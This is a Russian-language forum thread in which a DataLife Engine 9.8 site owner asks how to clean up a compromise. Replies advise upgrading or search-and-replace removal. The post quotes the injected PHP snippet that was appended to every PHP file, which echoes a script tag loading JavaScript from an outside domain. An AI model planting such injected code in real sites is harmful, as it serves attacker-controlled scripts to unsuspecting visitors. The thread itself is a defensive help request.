Помощь Взлом

Тема в разделе "DLE", создана пользователем Forza.Baron, 15 июн 2015.

Информация :
Актуальная версия DataLife Engine 11.1
( Final Release v.11.1 | Скачать DataLife Engine | Скачать 11.1 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 10.0 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Модераторы: killoff
  1. Forza.Baron

    Forza.Baron

    Регистр.:
    26 янв 2012
    Сообщения:
    175
    Симпатии:
    76
    Взламывают сайт. 9.8 дле, применил баг минифи...
    На все php файлы в конец добавляется такой код:
    PHP:
    <?php
    #aab978#
    if(empty($qdf)) {
    $qdf "<script type=\"text/javascript\" src=\"http://foschicago.com/lymvwdxf.php?id=804701\"></script>";
    echo 
    $qdf;
    }
    #/aab978#
    ?>
    #aab978# - на всех файлах разный...

    Кто сталкивалься таким "взлом"ом? Как найти и удалить "вирус"...?
     
  2. Горбушка

    Горбушка Ищу её...

    Регистр.:
    2 май 2008
    Сообщения:
    3.034
    Симпатии:
    2.035
    Версии 10.0 и ниже - уязвимы!

    Я наверное блокер напишу, который блочит nulled до тех пор, пока человек не напишет 100 раз "Я буду обновлять DLE до безопасных версий... Я больше не буду некрофилом!"

    Удаляем все файлы, ставим поверх DLE 10.5 (10.4), восстанавливает вложения, обновляем шаблон - радуемся жизни...

    Ну а если тупо вырезать - notepad++ в помощь. Ctrl+f -> поиск по файлам, заменить вот эту херню на пусто... Ну и бросаем в атаку на папку сайта... Только вирус на 9.8 вернётся через сутки...
     
    noxxxxx, killoff, palec и ещё 1-му нравится это.
  3. gusewww

    gusewww

    Регистр.:
    4 июл 2011
    Сообщения:
    667
    Симпатии:
    294
    Мне вот интересно, если подключиться к базе можно только из локалки, как они к ней могут подключиться без доступа к файлам.
    Как вариант припарковать домен на тот же сервер, есть еще варианты?
     
  4. Горбушка

    Горбушка Ищу её...

    Регистр.:
    2 май 2008
    Сообщения:
    3.034
    Симпатии:
    2.035
    Легко, тык